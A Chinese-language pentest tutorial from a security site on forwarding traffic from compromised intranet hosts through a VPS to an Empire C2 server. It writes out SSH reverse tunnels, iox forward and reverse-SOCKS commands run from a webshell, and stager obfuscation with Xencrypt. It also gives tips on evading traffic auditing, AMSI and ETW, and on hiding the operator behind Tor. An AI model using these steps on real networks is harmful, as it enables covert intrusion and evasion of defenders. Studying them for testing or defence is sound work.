内网渗透:流量转发场景测试

阅读量670925

|评论2

|

发布时间 : 2020-05-09 14:30:18

 

0x00 前言

​ 流量转发,可以说时内网渗透的基础,网上的文章也挺多的,但是我最近看见别人的粗糙的方式,比如把CS直接传到服务器上这样的操作,我觉得是应该总结一下各种流量转发的场景了,方便渗透中使用。

 

0x01 本文用到的工具

- Empire https://github.com/EmpireProject/Empire (C2)
- Xencrypt.ps1 https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1 (powershell encrypt)
- IOX https://github.com/EddieIvan01/iox
- Neo-regeorg https://github.com/L-codes/Neo-reGeorg
- Plink  C:Program Files (x86)GitExtensionsPuTTYplink.exe

 

0x02 复杂度0

1.例如反弹shell需要反弹到自己VPS上,那这里我们需要把CS或者empire等C2工具传到VPS上吗?

不需要,按照隐藏自己的原则,VPS上基本不能有渗透的任何文件,以免留下痕迹,命令其实也很简单,在win10以及linux上都有ssh命令了,所以:

ssh  -CNfT -R 4444:192.168.137.129:443 root@vpsip

注:vpsip 需要配置远程端口转发支持,修改/ect/ssh/sshd_config添加:

AllowAgentForwarding yes
AllowTcpForwarding yes
GatewayPorts yes

实际演示

被控端:192.168.137.164 (nat)

kali: 192.168.0.105 (bridge)

这两台机器本身互不相同,但是都能出网,所以使用VPS来中转。

这里使用Empire作为C2,使用https监听,这里的HOST要设置为VPSIP和端口

接着ssh端口转发:

生成一个stager,这里生成的时候IP就是VPSIP,端口就是4444,这样会直接将流量转到虚拟机的Empire的443端口来。生成powershell 的stager,先解码出来再用xencrypt加密运行。

Invoke-Xencrypt -InFile xx.ps1 -OutFile banana.ps1 -Iterations 3

这样只要受控端可以直接出网的情况的话,就可以这样利用。而且vps到内网机器的流量都是加密的。empire其实自带一个http_hop listener,把生成的文件传到A VPS上面,再使用http_hop再生成stager来请求A VPS,流量就会被转移到真实的B VPS上。具体可以参考:https://www.hackingarticles.in/hiding-ip-during-pentest-using-powershell-empire-http_hop/

 

0x03 复杂度1

其实为了自己更安全,C2最好放在自己虚拟机自定义的一个不能出网的网段,然后远程端口转发到自己C2监听的端口。命令与其实上面一样:plink -CNfT -R 4444:192.168.13.29:443 root@vpsip只不过要在windows的物理机上执行,因为只有windows物理机能够出网而且又能访问到特定网段。这里就不具体说明了,因为我们主要关注被控端能够访问到我们的VPS端口,所以自己要跳几条VPS,系统环境等随便怎么设置都可以。

场景:拿到webshell,发现是内网一台windows不能出网。这就需要找到一台能够出网的了。

先使用regeorg进行正向代理,寻找到出网机器。这里依然可以使用ssh远程转发,在跳板机上面执行。但是我们这使用IOX来演示,适合自己VPS是windows或者突然忘了自己vps密码的人:)

实际演示

测试环境:

debian:192.168.217.92/192.168.137.139 双网卡

win10:192.168.217.128

vps:就用上面的4444端口

1.把iox linux 64bit传到debian这个跳板机上执行:

./iox fwd -l 4444 -r vpsip:4444

2.重新生成stager,上传到win10上,因为win10只能访问到192.168.217.139,所以配置host参数为http://192.168.217.92:4444, 这里我们在1中已经监听了4444端口流量并且转发到了VPS上。

这里的listener必须配置为http,我自己测试发现https的上线不了,https直接网页会报SSL错,但是还是能够访问的,说明流量转发正确。猜测可能是IOX转发https流量不行。

演示图中使用的是http的listener:

整个流程:

内网不能出网的windows10,通过debian把流量转发到vps端口,vps再转到自己的虚拟机的C2中。

配置stager时可以配置http代理,

再渗透中,很多都是通过代理出网的,找到代理服务器IP和端口,设置http/https代理,生成stager的时候host就设置为vps 就可以了,不用设置为内网的机器。

 

复杂度1.1

实际演示

环境1:

有VPN账号,但是在里面就是找不到代理或者可控的出网机器。

1.在自己VPN拨号的虚拟机中,执行ssh -CNfT -L 4444:vpsip:4444 root@vpsip或者./iox fwd -l 4444 -r vpsip:4444,将发往自己4444端口流量转发到192.168.137.129:443 C2控制端。

2.在被控端windows上的webshell执行payload,指定host为我们VPN拨号后分配的地址。

环境2:

无VPN账号,有regeorg 的正向代理和webshell权限。

那就正向代理:)

环境3:

内网机器可以出网,但是没有公网IP,不使用regeorg 的正向代理。

./iox proxy -r vps:9999  (webshell上执行 socks反弹)
./iox proxy -l 9999 -l 1080 (vps上执行)

这样只有把代理设置为vps:1080,就是内网正向的socks代理了。

./iox fwd -l 1088 -r vpsip:1080

如果运行上面这条命令在自己虚拟机上,这样本地设置127.0.0.1:1088这个代理一样可以代理访问到内网。

带加密的话IOX也非常简单,这里使用虚拟机来演示下:

./iox proxy -r *vps:9999 -k 788123  (webshell上执行)
./iox proxy -l *9999 -l *1080 -k 788123(vps上执行)
./iox fwd -l 1088 -r *vpsip:1080 -k 788123(自己的机器)

可以看见kali是不能访问到那边的,但是我通过这样正向socks代理就可以了。

 

总结

​ 本来开始准备用SILENTTRINITY作为C2的,生成c# stager,然后使用detout来编码生成shellcode。detout生成的shellcode有patch amsi和script logging,dev的分支也加上了bypass etw monitor.但是ST这个框架还是不稳定,而且功能欠缺多,但是这种技术思路很好。detout+C#的马还是很好用的。

​ 本来内网渗透中,环境会更复杂,我这里完全是抛砖引玉,一个基本思路,清楚的知道自己的流量走向,不管怎么复杂都一样。文中提到的技术,都跟自己VPS和自己的网络情况有很大关系,网速不好,体验就不好。这些工具都带有加密的功能,这样会在流量审计上更好过一点,不会上传C2到别人服务器上面,在其中某个点加个tor网络就更能隐藏自己了:)

本文由anw2原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/204347

安全客 - 有思想的安全新媒体

分享到:微信
+19赞
收藏
anw2
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66